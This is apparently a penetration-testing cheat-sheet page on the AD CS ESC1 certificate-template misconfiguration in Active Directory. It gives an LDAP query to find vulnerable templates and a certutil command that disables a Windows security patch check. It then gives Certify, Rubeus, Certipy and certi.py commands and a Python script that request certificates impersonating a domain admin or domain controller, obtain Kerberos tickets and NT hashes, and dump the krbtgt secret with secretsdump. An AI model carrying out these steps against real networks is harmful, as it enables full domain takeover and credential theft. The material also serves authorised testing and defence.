ESC1
Modifiable SAN + Smart Card Logon or Client Authentication or PKINIT Client Authentication EKUs
The vulnerable certificate template allows requesters to specify a SAN in the CSR as well as allows Smart Card Logon (1.3.6.1.4.1.311.20.2.2) or Client Authentication (1.3.6.1.5.5.7.3.2) or PKINIT Client Authentication (1.3.6.1.5.2.3.4) EKUs.
Enumerate
Find template with this misconfiguration with native Active Directory module:
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'Disable the KB5014754 Patch
Disable szOID_NTDS_CA_SECURITY_EXT extension checking (requires CertSvc restart):
Cmd > certutil.exe -setreg policy\DisableExtensionList +1.3.6.1.4.1.311.25.2Exploit
Certutil
Certify
Request a certificate specifying the /altname as a domain admin:
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:VulnTemplate /altname:DomAdminConvert .pem to a .pfx certificate:
$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfxRequest a TGT with the .pfx certificate:
Cmd > .\Rubeus.exe asktgt /domain:megacorp.local /dc:DC01.megacorp.local /user:DomAdmin /certificate:cert.pfx /password:Passw0rdPfx! /pttCertipy
Enroll a certificate with privileged subject in SAN:
$ certipy req -u [email protected] -p 'Passw0rd!' -target CA01.megacorp.local -ca CorpCA -template VulnTemplate -upn [email protected] -dc-ip 192.168.1.11
$ proxychains4 certipy req -u '[email protected]' -aes <AES_KEY> -ca CorpCA -target CA01.megacorp.local -target-ip 192.168.1.12 -template VulnTemplate -upn '[email protected]' -sid <DC01_SID> -ns 192.168.1.11 -dc-ip 192.168.1.11 -dns-tcpRequest TGT providing the certificate and get the corresponding NT hash automatically:
$ certipy auth -pfx administrator.pfx -domain megacorp.local -username administrator -dc-ip 192.168.1.11Manually via web enrollment at /certsrv/certrqxt.asp:
from certipy.lib.certificate import (
create_csr,
create_pfx,
csr_to_der,
der_to_pem,
pem_to_cert,
cert_id_to_parts,
get_identifications_from_certificate,
get_object_sid_from_certificate
)
from certipy.lib.formatting import print_certificate_identifications
username = '[email protected]'
alt_upn = '[email protected]'
alt_sid = 'S-1-5-21-XXXXXXXXX-XXXXXXXXXX-XXXXXXXXX-1000'
template = 'ESC1'
csr, key = create_csr(
username,
alt_dns=None,
alt_upn=alt_upn,
alt_sid=alt_sid,
key=None,
key_size=2048,
subject=None,
renewal_cert=None,
application_policies=[]
)
attributes = '\n'.join([f'CertificateTemplate:{template}', f'SAN:upn={alt_upn}'])
print(der_to_pem(csr_to_der(csr), "CERTIFICATE REQUEST"))
print(attributes)
# https://CA01.megacorp.local/certsrv/certnew.cer?ReqID=1337&Enc=b64
pem = b'''-----BEGIN CERTIFICATE-----
...
-----END CERTIFICATE-----'''
cert = pem_to_cert(pem)
identifications = get_identifications_from_certificate(cert)
print_certificate_identifications(identifications)
object_sid = get_object_sid_from_certificate(cert)
if object_sid is not None:
print(f'[*] Certificate object SID is {repr(object_sid)}')
else:
print('[!] Certificate has no object SID')
out, _ = cert_id_to_parts(identifications)
if out is None:
out = username
out = out.rstrip('$').lower()
with open(f'{out}.pfx', 'wb') as f:
f.write(create_pfx(key, cert))
print(f'[+] Saved certificate and private key to {out}.pfx')certi
Enroll a certificate with privileged subject in SAN:
$ certi.py req megacorp.local/[email protected] CorpCA -k -n --dc-ip 192.168.1.11 --template VulnTemplate --alt-name 'DC01$'Request TGT providing certificate:
$ base64 -w0 DC01.pfx > DC01.pfx.b64
$ python3 gettgtpkinit.py megacorp.local/'DC01$' -pfx-base64 `cat DC01.pfx.b64` -pfx-pass admin -dc-ip 192.168.1.11 DC01.ccacheRequest NT hash providing TGT or DCSync:
$ KRB5CCNAME=DC01.ccache python3 getnthash.py megacorp.local/'DC01$' -dc-ip 192.168.1.11 -key <AS_REP_ENC_KEY>
$ KRB5CCNAME=DC01.ccache secretsdump.py DC02.megacorp.local -dc-ip 192.168.1.11 -just-dc-user 'MEGACORP\krbtgt' -k -no-passLast updated